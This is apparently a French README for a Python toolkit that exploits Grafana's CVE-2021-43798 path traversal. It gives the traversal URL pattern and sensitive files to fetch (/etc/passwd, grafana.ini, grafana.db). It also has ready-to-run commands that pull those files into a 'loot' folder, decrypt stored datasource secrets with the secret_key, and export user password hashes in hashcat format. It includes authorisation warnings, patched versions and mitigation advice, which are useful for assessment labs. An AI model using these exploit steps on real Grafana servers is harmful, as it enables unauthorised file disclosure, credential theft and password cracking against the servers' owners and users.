
Boîte à outils Python pour les tests autorisés de la traversée de chemin Grafana CVE-2021-43798, avec preuve de concept de lecture de fichier arbitraire, déchiffrement de secrets et export de hachages d'utilisateurs pour les évaluations de sécurité.
Kit Python pour les tests autorisés de CVE-2021-43798, une vulnérabilité de traversée de chemin dans Grafana pouvant permettre des lectures arbitraires de fichiers non authentifiées via les chemins de ressources des plugins.
Ce dépôt contient :
grafana_poc.py : PoC interactif de lecture arbitraire de fichiers qui enregistre localement les fichiers téléchargés.grafana_pass_decryptor.py : outil d'aide pour déchiffrer les secrets de sources de données Grafana chiffrés lorsque grafana.ini et/ou la secret_key sont disponibles, et pour exporter les hachages de mots de passe utilisateur Grafana depuis grafana.db.N'utilisez ce projet que sur des systèmes que vous possédez, que vous administrez, ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Une exploitation non autorisée peut exposer des fichiers sensibles, des identifiants, des clés privées, le contenu de bases de données et des hachages de mots de passe utilisateur.
CVE-2021-43798 affecte les versions de Grafana allant de 8.0.0-beta1 à 8.3.0. Les versions corrigées sont 8.3.1, 8.2.7, 8.1.8 et 8.0.7.
Le problème est accessible via des routes de ressources de plugins telles que :
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
Les fichiers couramment demandés lors d'une validation autorisée incluent :
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
L'accès dépend des permissions du système d'exploitation dont dispose le processus Grafana.
requestspycryptodome ou cryptography pour le déchiffrement des secretsInstallez les dépendances :
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Exécutez le PoC interactif contre une cible autorisée :
python3 grafana_poc.py -H http://target:3000 -o loot
À l'invite, saisissez des chemins absolus :
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
Les fichiers téléchargés sont enregistrés dans le répertoire de sortie en conservant une version sûre du chemin distant, par exemple :
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
Si vous disposez à la fois de grafana.ini et de grafana.db, le déchiffreur peut lire la secret_key depuis le fichier de configuration et tenter de déchiffrer les secrets chiffrés des sources de données, des notifications d'alerte et des plugins :
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Déchiffrez manuellement un bloc chiffré :
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Affichez du JSON délimité par des sauts de ligne :
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Les mots de passe utilisateur Grafana ne sont pas des secrets chiffrés. Ce sont des hachages PBKDF2 salés. Exportez-les depuis la table user :
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Exportez uniquement les lignes du mode hashcat 10900 :
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Mettez à niveau Grafana vers une version corrigée :
8.3.1 ou version ultérieure pour la branche 8.38.2.7 ou version ultérieure pour la branche 8.28.1.8 ou version ultérieure pour la branche 8.18.0.7 ou version ultérieure pour la branche 8.0Si une mise à niveau immédiate n'est pas possible, l'avis de sécurité de Grafana indique que placer un proxy inverse devant Grafana qui normalise les chemins de requête peut atténuer le comportement de traversée. Traitez cela comme un contrôle temporaire, et non comme un remplacement du correctif.
Le PoC public original est attribué à s1gh sur Exploit-DB. Le processus de déchiffrement des secrets Grafana s'inspire de recherches publiques et d'exemples de jas502n/Grafana-CVE-2021-43798, ce dépôt fournissant un outil Python pour les laboratoires et les workflows d'évaluation autorisés.